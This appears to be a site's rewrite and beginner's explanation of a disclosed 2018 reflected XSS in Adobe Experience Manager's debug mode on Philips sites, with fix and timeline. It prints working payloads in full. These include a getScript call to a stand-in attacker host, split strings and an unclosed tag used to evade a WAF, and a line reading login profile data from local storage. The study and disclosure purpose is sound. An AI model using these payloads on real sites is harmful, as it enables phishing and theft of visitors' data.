Reflected XSS at philips.com
A debug parameter in Adobe Experience Manager reflected the URL path unescaped, allowing HTML injection. The author bypassed the WAF to execute JavaScript and create a phishing login, and could steal logged-in users' details from local storage.
Published on medium.com
Jonathan Bouman
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Philips.com runs on Adobe Experience Manager (AEM), Adobe's content management system. AEM ships with a debug feature that can be enabled through a URL parameter and that outputs the layout information of the page's components. The report describes a reflected XSS in that debug output on www.philips.nl, reached through the URL path, which bypasses the site's Web Application Firewall (WAF) and can be used to set up a phishing login. Philips runs a coordinated vulnerability disclosure programme, and the researcher submitted the finding there.
The report opens by noting why XSS matters: stealing cookies, attacking a visitor's browser (for example with BeEF) or phishing for login credentials. Philips had just been named the most reputable company in the Netherlands for the eleventh year in a row, which the author argues makes its brand a high profile phishing target.
Setup
The tools used were:
- Aquatone, to discover interesting subdomains.
- Burp Suite, with the target scope set to Philips and
.*as a joker so every Philips hostname is captured. Burp's site map is built from the captured traffic, and requests can be sent to the Repeater to test them for XSS. - WhatCMS.org, to fingerprint the CMS.
- WhatWaf, to identify the WAF.
- A browser console, to check whether jQuery is loaded.
Finding it
The researcher started with Aquatone for subdomain discovery, then moved to Burp Suite and clicked around the site. Burp captured every request and response and built a site map, which gives a quick view of the site's structure and makes it easy to repeat individual requests.
The principle applied here: if part of the URL is reflected in the page response without being escaped, there is a potential reflected XSS. Stored XSS was also considered, by checking whether HTML can be persisted in a database.
After a few hours of probing every parameter in the URLs captured by Burp, no reflective or stored vector was found: all of them were properly escaped. As an example, a request that tried to inject <h1>Hi mom</h1> came back escaped as <h1>Hi+mom</h1>, so the browser renders it as plain text rather than HTML.
With the application parameters clean, the next step was to look for holes in the server framework itself. WhatCMS identified the CMS as Adobe Experience Manager. The main page's source code also refers to adobedtm.com; Adobe DTM is part of Adobe Experience Cloud, and AEM is the CMS.
Reading up on AEM turned up a debug parameter that outputs the layout information of components. The parameter appears in the official documentation, which recommends disabling it in production, and Adobe publishes an AEM penetration testing cheat sheet. Visiting the Philips site with /?debug=layout showed that the debug mode had not been disabled. The debug output renders the URL in the page, and the URL path is not escaped, so HTML can be injected. A first attempt at JavaScript was blocked by a WAF.
Exploitation
Step 1: confirm the injection point
The point of injection is the URL path combined with the debug=layout parameter:
/?debug=layout
With debug mode active, the URL path is parsed into the page unescaped, which allows HTML injection.
Step 2: identify the WAF
WhatWaf probes the target with a set of payloads and compares the outcome with detection rules. Against www.Philips.com it reported two WAFs: ModSecurity and AkamaiGHost.
Step 3: map the WAF rules by hand
The researcher preferred to work by hand rather than brute force with Burp Intruder, because hammering a server with many requests is a bad idea and gets you blacklisted. The observations were:
- The WAF blocks the
<script>tag. - The WAF allows the
<body>tag. - The WAF blocks almost all JavaScript events (for example
onerror,onload,onmouseout), but allowsonpointerenter. - The WAF blocks the string
https://in the path.
Step 4: check for jQuery
Running jQuery.fn.jquery in the console shows a version number if jQuery is loaded. It is, which allows a smaller payload that works cross browser through the getScript function.
Step 5: build the payload
https://www.philips.nl/healthcare/<body onpointerenter="jQuery.getScript('https:/' +'/attackerserver.ltd/philips/inject.js')">?debug=layout
The injected <body> tag triggers jQuery.getScript when the visitor moves the cursor over the page. getScript loads the external JavaScript file and executes its content. The string is split as 'https:/' +'/attackerserver.ltd' so that the literal https:// never appears in the path and the WAF filter is bypassed.
Step 6: URL-encode it for the victim
The payload is URL-encoded so the link is valid and easy to send to a victim:
https://www.philips.nl/healthcare/%3Cbody%20onpointerenter=%22jQuery.getScript('https:/'+'/attackerserver.ltd/philips/inject.js')%22%3E?debug=layout
Step 7: make the proof of concept convincing
Instead of the classic <script>alert('XSS')</script>, the researcher chose to invest a few more minutes in a more impressive proof of concept: a phishing login, because a fake login screen makes the impact obvious.
Step 8: bonus, stealing details of logged-in users
Philips uses Janrain for its customer login, and Janrain stores user details in the browser's local storage. For a logged-in visitor, this line of JavaScript is enough to read those details:
var user = (localStorage.getItem("janrainCaptureProfileData")) ? localStorage.getItem("janrainCaptureProfileData") : "Not logged in";
Step 9: bypassing the initial fix
Philips's first fix was a new firewall rule that blocks all HTML tags, while leaving debug mode on. The bypass injects an HTML tag that is missing the > character:
https://www.philips.nl/healthcare/<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"?debug=layout
The server injects the payload, and the > from the <br> tag that follows is used to close the body tag. The rule that blocks alert() strings is bypassed by splitting the string into two pieces, adding them as attributes to the HTML tag, and merging them again inside the same tag with top[attribute1+attribute2]. The report shows this bypass on lightning.philips.com.
Root cause
The debug mode (debug=layout) is enabled in production, and the URL path is written into the page without HTML escaping. The application's own parameters were correctly escaped, so the flaw sits in the framework's debug output rather than in the site's own code. The WAF did not stop the attack because it relied on blacklisting: it blocked <script>, most event handlers and the literal https://, but allowed <body>, onpointerenter and the split string. The initial fix, blocking all HTML tags, was also a blacklist and was bypassed with a tag missing its closing > and with split attribute strings.
Impact
A prepared link can be sent to a visitor of the affected Philips site. When the visitor opens it and moves the cursor over the page, the injected script runs in the origin of the site. The report lists the following consequences:
- Extra filtration of user information from visitors who open the prepared link.
- Attacking the visitor's browser by injecting a framework such as BeEF.
- Setting up a phishing login.
- For logged-in users, reading the Janrain profile data from local storage.
All of this depends on the victim opening the crafted link and, for the local storage theft, being logged in.
Fix
The report gives two recommendations:
- Disable the debug mode, which can be done by configuring the dispatcher used by AEM. The report calls this the simplest solution.
- Improve the WAF to block HTML tags in the URL or event strings, while noting that blacklisting is never a good solution because a new payload that bypasses the blacklist will always be found.
In practice, Philips.com was fixed by 18 August 2018 (no debug mode anymore), while lightning.philips.com remained vulnerable to both payloads. Signify, the owner of Lighting Philips, confirmed the bug on 28 August 2018 and reported the fix deployed on 13 September 2018; the researcher confirmed it and the report was published on 17 September 2018.
Variants to test
- Debug parameters on other AEM sites. Request a page with
?debug=layoutand look for layout information in the response. A positive result is component layout data appearing in the page. - Reflection of the URL path. Put a harmless HTML tag in the path and check whether it comes back unescaped. A positive result is the tag rendered as HTML rather than as
<...>. - WAF rule mapping. Send
<script>,<body>, common event handlers (onerror,onload,onmouseout) andonpointerenterone at a time and note which are blocked. A positive result is an allowed tag and an allowed event handler that together execute script. - String filters. Try splitting blocked strings such as
https://into concatenated pieces. A positive result is the request passing the WAF and the script loading. - Tag filters. Try an HTML tag without its closing
>so that a following tag closes it. A positive result is the injected tag being completed by markup already on the page. - jQuery availability. Run
jQuery.fn.jqueryin the console. A positive result is a version number, which allows a shortgetScriptpayload. - Client-side storage of identity data. Check whether a login provider stores profile data in local storage. A positive result is readable profile data for a logged-in user.
What happened, in plain words
A security researcher found a way to make a Philips website run code that Philips did not intend. By sending a specially crafted web address to a visitor, an attacker could make the visitor's browser run code written by the attacker. The report says that code could, for example, be used to set up a phishing login, or to read information about a visitor who was already logged in.
The bug is called reflected XSS (cross-site scripting). "Reflected" means the malicious content is not stored on the server; it travels in the link itself and is echoed back into the page when the victim opens that link. "XSS" means the attacker manages to get their own HTML or JavaScript into a page that the browser treats as belonging to the real site.
The site is built on Adobe Experience Manager (AEM), a content management system (CMS). A CMS is software that lets a company build and edit web pages without writing all the code by hand; think of it as the back office where the pages are assembled. AEM has a debugging feature that can be switched on by adding a parameter to the web address. That feature prints internal layout information into the page, and it does so without cleaning up (escaping) what it prints. Philips had left that debug feature switched on in production, which is the live site that real visitors use.
A Web Application Firewall (WAF) sits in front of the site and inspects incoming requests, blocking ones that look malicious. Philips had one, but the researcher found ways around it. Philips's first fix was another WAF rule, and that was bypassed too. Philips.com was eventually fixed, and the report was published on 17 September 2018.
Why does this matter? The report opens by explaining that XSS can be used to steal cookies, to attack a visitor's browser (for example with a tool called BeEF) or to phish for login credentials. A cookie is a small piece of data a site stores in your browser so it can recognise you on the next request; if an attacker can read it, they may be able to act as you. Phishing means tricking someone into typing their username and password into a fake page that looks real.
Philips had just been named the most reputable company in the Netherlands for the eleventh year in a row. The author argues that this trust is exactly what makes the brand a high profile target for phishers: people are more likely to believe a fake Philips login.
Setting up the tools
The researcher used a handful of tools.
- Aquatone: a tool that looks for subdomains, meaning other hostnames under the same company domain (for example something like
sub.example.com). Finding more hostnames means finding more possible ways in. - Burp Suite: a tool that sits between your browser and the website and records every request and response. A request is what your browser sends to a server ("give me this page"); a response is what the server sends back (the page, or an error). Burp builds a site map from everything it records, and its Repeater lets you send the same request again and again, changing one thing at a time.
- WhatCMS.org: a website that tries to guess which CMS a site is built on.
- WhatWaf: a tool that tries to guess which WAF a site uses.
- The browser console: a panel built into every browser where you can type JavaScript and see the result. It is used here to check whether a library called jQuery is loaded.
The target scope in Burp was set to Philips, with .* as a joker so that every Philips hostname is captured. In a scope rule, .* is a pattern meaning "anything", so the tool records traffic to any hostname that belongs to Philips rather than only the one main site.
Finding the bug
The researcher started with Aquatone to discover subdomains, then opened Burp Suite and simply clicked around the site. Burp recorded every request and response and built a site map, which gives a quick view of how the site is structured and makes it easy to repeat individual requests to test them.
The principle being applied: if part of the URL is reflected in the page response without being escaped, there is a potential reflected XSS. Escaping means converting characters that have a special meaning in HTML into harmless text. For example, < becomes < and > becomes >, so the browser shows them as characters instead of treating them as the start and end of an HTML tag. HTML is the language that describes the structure of a web page; a tag is a piece of markup such as <h1> (a heading) or <body> (the page body).
The researcher also considered stored XSS, where the malicious HTML is saved in the site's database and shown to every visitor, by checking whether HTML could be persisted somewhere. That was not found either.
After a few hours of probing every parameter in the URLs Burp had captured, no reflective or stored vector turned up: all of them were properly escaped. As an example, a request that tried to inject <h1>Hi mom</h1> came back escaped as <h1>Hi+mom</h1>, so the browser renders it as plain text rather than as a heading. That is the correct behaviour, and the report credits Philips for it.
With the site's own parameters clean, the next step was to look for holes in the server framework itself. WhatCMS identified the CMS as Adobe Experience Manager. The source code of the main page also refers to adobedtm.com; Adobe DTM is part of Adobe Experience Cloud, and AEM is the CMS. Reading the source code of a page is a normal step: it is what the browser receives, and it often names the products behind the site.
Reading up on AEM turned up a debug parameter that outputs the layout information of components. A component here is a building block of a page, such as a header, a menu or a content block; the layout information describes where those blocks sit. The parameter appears in the official documentation, which recommends disabling it in production, and Adobe publishes an AEM penetration testing cheat sheet. Visiting the Philips site with /?debug=layout showed that the debug mode had not been disabled. The debug output renders the URL in the page, and the URL path is not escaped, so HTML can be injected. A first attempt at JavaScript was blocked by a WAF.
Exploitation
Step 1: confirm the injection point
The point of injection is the URL path combined with the debug=layout parameter:
/?debug=layout
This is the query string you add to a page address. debug is the name of the setting and layout is the value that switches the layout debug output on. With debug mode active, the URL path is parsed into the page unescaped, which allows HTML injection. The URL path is the part of the address after the hostname, for example /healthcare in https://www.philips.nl/healthcare.
Step 2: identify the WAF
WhatWaf probes the target with a set of payloads and compares the outcome with detection rules. A payload is the piece of input an attacker sends to try to trigger the bug. Against www.Philips.com it reported two WAFs: ModSecurity and AkamaiGHost. Knowing which products are in front of the site tells you which rules you are up against.
Step 3: map the WAF rules by hand
The researcher preferred to work by hand rather than brute force with Burp Intruder, because hammering a server with many requests is a bad idea and gets you blacklisted. Brute forcing means trying a huge number of variations automatically; it is noisy and can get your address blocked. The observations were:
- The WAF blocks the
<script>tag.<script>is the HTML tag that tells the browser to run JavaScript, so blocking it removes the most obvious way to run code. - The WAF allows the
<body>tag.<body>marks the main content of the page, and it can carry attributes, which are extra settings written inside the tag. - The WAF blocks almost all JavaScript events (for example
onerror,onload,onmouseout), but allowsonpointerenter. An event is something that happens in the browser, such as a page finishing loading or the mouse moving; an event handler is an attribute that says "when this happens, run this code".onpointerenterfires when the pointer enters an element. - The WAF blocks the string
https://in the path. That matters because loading an external script normally needs a full address starting withhttps://.
Step 4: check for jQuery
Running jQuery.fn.jquery in the console shows a version number if jQuery is loaded. jQuery is a widely used JavaScript library, meaning a collection of ready-made code that a page can use. It is, which allows a smaller payload that works cross browser through the getScript function. getScript is a jQuery function that downloads a JavaScript file from a given address and runs it.
Step 5: build the payload
https://www.philips.nl/healthcare/<body onpointerenter="jQuery.getScript('https:/' +'/attackerserver.ltd/philips/inject.js')">?debug=layout
Line by line:
https://www.philips.nl/healthcare/is the normal page address. Everything after the last slash is the URL path, and that is where the injected HTML goes.<body onpointerenter="...">is an HTML tag that the WAF allows. Theonpointerenterattribute holds the code to run when the pointer enters the page.jQuery.getScript('https:/' +'/attackerserver.ltd/philips/inject.js')builds the address of the attacker's script from two pieces joined with+. The first piece is'https:/'and the second is'/attackerserver.ltd/philips/inject.js'. Joined together they form a full address, but the literal texthttps://never appears in the request, so the WAF filter from step 3 does not match.?debug=layoutswitches the debug output on, which is what causes the path to be written into the page.
The injected <body> tag triggers jQuery.getScript when the visitor moves the cursor over the page. getScript loads the external JavaScript file and executes its content. The string is split as 'https:/' +'/attackerserver.ltd' so that the literal https:// never appears in the path and the WAF filter is bypassed.
Step 6: URL-encode it for the victim
The payload is URL-encoded so the link is valid and easy to send to a victim:
https://www.philips.nl/healthcare/%3Cbody%20onpointerenter=%22jQuery.getScript('https:/'+'/attackerserver.ltd/philips/inject.js')%22%3E?debug=layout
URL encoding replaces characters that are not allowed or that have a special meaning in a web address with a percent sign and a code. Here %3C is <, %20 is a space, %22 is a double quote and %3E is >. The browser turns these back into the original characters when it sends the request, so the server sees the same payload, but the link stays a single valid address that can be pasted into a message.
Step 7: make the proof of concept convincing
Instead of the classic <script>alert('XSS')</script>, the researcher chose to invest a few more minutes in a more impressive proof of concept: a phishing login, because a fake login screen makes the impact obvious. A proof of concept is a small demonstration that proves a bug is real and shows how bad it can get. alert('XSS') is a JavaScript command that pops up a box with the text XSS; it proves code runs, but it does not show what an attacker could do with that.
Step 8: bonus, stealing details of logged-in users
Philips uses Janrain for its customer login, and Janrain stores user details in the browser's local storage. Local storage is a small storage area that a website can use inside your browser to keep data between visits. For a logged-in visitor, this line of JavaScript is enough to read those details:
var user = (localStorage.getItem("janrainCaptureProfileData")) ? localStorage.getItem("janrainCaptureProfileData") : "Not logged in";
Line by line:
var user =creates a variable calleduserto hold the result. A variable is a named box that stores a value.localStorage.getItem("janrainCaptureProfileData")asks local storage for the item namedjanrainCaptureProfileData, which is where Janrain keeps the profile data.- The
?and:form a conditional expression: if the part before?is true (the item exists), use the value before:, otherwise use the value after it. "Not logged in"is the fallback text used when there is no stored profile.
So the line reads the stored profile if there is one, and otherwise records that the visitor is not logged in.
Step 9: bypassing the initial fix
Philips's first fix was a new firewall rule that blocks all HTML tags, while leaving debug mode on. The bypass injects an HTML tag that is missing the > character:
https://www.philips.nl/healthcare/<body%20alt=al%20lang=ert%20onmouseenter="top['al'+lang](/PoC%20XSS%20Bypass%20by%20Jonathan%20Bouman/)"?debug=layout
Line by line:
<bodystarts a body tag but never closes it with>. The WAF rule looks for complete tags, so an unfinished one slips through.alt=alandlang=ertare two attributes whose values are the piecesalandert. Splitting a blocked word into two attributes is the trick used to hide it.onmouseenter="..."is an event handler that fires when the mouse enters the element. It is used here instead ofonpointerenter.top['al'+lang]joins the two attribute values (alplusert) to form the wordalert, andtop[...]reaches the browser's top-level window object to call it. The address in brackets is the argument passed toalert.?debug=layoutagain switches on the debug output.
The server injects the payload, and the > from the <br> tag that follows is used to close the body tag. In other words, the page's own markup finishes the tag the attacker started. The rule that blocks alert() strings is bypassed by splitting the string into two pieces, adding them as attributes to the HTML tag, and merging them again inside the same tag with top[attribute1+attribute2]. The report shows this bypass on lightning.philips.com.
Why it worked
The debug mode (debug=layout) is enabled in production, and the URL path is written into the page without HTML escaping. The site's own parameters were correctly escaped, so the flaw sits in the framework's debug output rather than in the site's own code. The WAF did not stop the attack because it relied on blacklisting: it blocked <script>, most event handlers and the literal https://, but allowed <body>, onpointerenter and the split string. Blacklisting means listing the bad things and blocking those; the problem is that anything not on the list gets through. The safer approach is allowlisting, where only known-good input is accepted. The initial fix, blocking all HTML tags, was also a blacklist and was bypassed with a tag missing its closing > and with split attribute strings.
What an attacker could do
A prepared link can be sent to a visitor of the affected Philips site. When the visitor opens it and moves the cursor over the page, the injected script runs in the origin of the site. The origin is the combination of scheme, hostname and port, and the browser uses it to decide which site a piece of code belongs to; code running in the site's origin is treated as the site's own code. The report lists the following consequences:
- Extra filtration of user information from visitors who open the prepared link.
- Attacking the visitor's browser by injecting a framework such as BeEF. BeEF is a tool that hooks a browser and lets an attacker control it remotely.
- Setting up a phishing login.
- For logged-in users, reading the Janrain profile data from local storage.
All of this depends on the victim opening the crafted link and, for the local storage theft, being logged in.
How to fix it
The report gives two recommendations:
- Disable the debug mode, which can be done by configuring the dispatcher used by AEM. The report calls this the simplest solution. The dispatcher is the part of an AEM setup that sits in front of the CMS and decides which requests reach it.
- Improve the WAF to block HTML tags in the URL or event strings, while noting that blacklisting is never a good solution because a new payload that bypasses the blacklist will always be found.
In practice, Philips.com was fixed by 18 August 2018 (no debug mode anymore), while lightning.philips.com remained vulnerable to both payloads. Signify, the owner of Lighting Philips, confirmed the bug on 28 August 2018 and reported the fix deployed on 13 September 2018; the researcher confirmed it and the report was published on 17 September 2018.
Things to try on other sites
These are the same checks the researcher used, written so you can repeat them on a site you are allowed to test:
- Debug parameters on other AEM sites. Request a page with
?debug=layoutand look for layout information in the response. A positive result is component layout data appearing in the page. - Reflection of the URL path. Put a harmless HTML tag in the path and check whether it comes back unescaped. A positive result is the tag rendered as HTML rather than as
<...>. - WAF rule mapping. Send
<script>,<body>, common event handlers (onerror,onload,onmouseout) andonpointerenterone at a time and note which are blocked. A positive result is an allowed tag and an allowed event handler that together execute script. - String filters. Try splitting blocked strings such as
https://into concatenated pieces. A positive result is the request passing the WAF and the script loading. - Tag filters. Try an HTML tag without its closing
>so that a following tag closes it. A positive result is the injected tag being completed by markup already on the page. - jQuery availability. Run
jQuery.fn.jqueryin the console. A positive result is a version number, which allows a shortgetScriptpayload. - Client-side storage of identity data. Check whether a login provider stores profile data in local storage. A positive result is readable profile data for a logged-in user.
Glossary
- AEM (Adobe Experience Manager): Adobe's content management system, the software a company uses to build and manage its website.
- Allowlisting: accepting only input that is known to be good, and rejecting everything else.
- Attribute: an extra setting written inside an HTML tag, such as
onpointerenter="...". - BeEF: a tool that hooks a visitor's browser and lets an attacker control it remotely.
- Blacklisting: blocking input that matches a list of known-bad patterns, which lets anything not on the list through.
- Brute forcing: trying a very large number of variations automatically until one works.
- Burp Suite: a tool that records and lets you replay the requests and responses between your browser and a website.
- CMS (content management system): software for building and editing web pages without writing all the code by hand.
- Component: a building block of a page, such as a header, a menu or a content block.
- Cookie: a small piece of data a site stores in your browser so it can recognise you on later requests.
- Debug mode: a feature meant for developers that prints internal information into a page; it should be switched off in production.
- Dispatcher: the part of an AEM setup that sits in front of the CMS and decides which requests reach it.
- Escaping: converting characters with a special meaning in HTML into harmless text, so they are shown rather than interpreted.
- Event: something that happens in the browser, such as a page loading or the mouse moving.
- Event handler: an attribute that says which code to run when an event happens, such as
onpointerenter. - getScript: a jQuery function that downloads a JavaScript file from an address and runs it.
- HTML: the language that describes the structure of a web page.
- Janrain: the login provider Philips uses for its customer login, which stores profile data in local storage.
- jQuery: a widely used JavaScript library that provides ready-made code a page can use.
- JavaScript: the programming language that runs in the browser and makes pages interactive.
- Local storage: a small storage area a website can use inside your browser to keep data between visits.
- ModSecurity: a web application firewall product.
- Origin: the combination of scheme, hostname and port that the browser uses to decide which site a piece of code belongs to.
- Parameter: a named value added to a web address, such as
debug=layout. - Payload: the piece of input an attacker sends to try to trigger a bug.
- Phishing: tricking someone into typing their credentials into a fake page that looks real.
- Proof of concept: a small demonstration that proves a bug is real and shows its impact.
- Reflected XSS: cross-site scripting where the malicious content travels in the link and is echoed back into the page.
- Request: what a browser sends to a server, for example asking for a page.
- Response: what a server sends back to a browser.
- Repeater: the Burp Suite feature that lets you resend a request with changes.
- Site map: Burp Suite's overview of the pages and requests it has recorded for a target.
- Stored XSS: cross-site scripting where the malicious content is saved on the server and shown to visitors.
- Subdomain: a hostname under a company's main domain, such as
sub.example.comunderexample.com. - Tag: a piece of HTML markup such as
<h1>or<body>. - URL encoding: replacing characters that are not allowed in a web address with a percent sign and a code, such as
%3Cfor<. - URL path: the part of a web address after the hostname, such as
/healthcare. - Variable: a named box in a program that stores a value.
- WAF (web application firewall): a filter in front of a website that inspects incoming requests and blocks ones that look malicious.
- XSS (cross-site scripting): getting your own HTML or JavaScript into a page that the browser treats as belonging to the real site.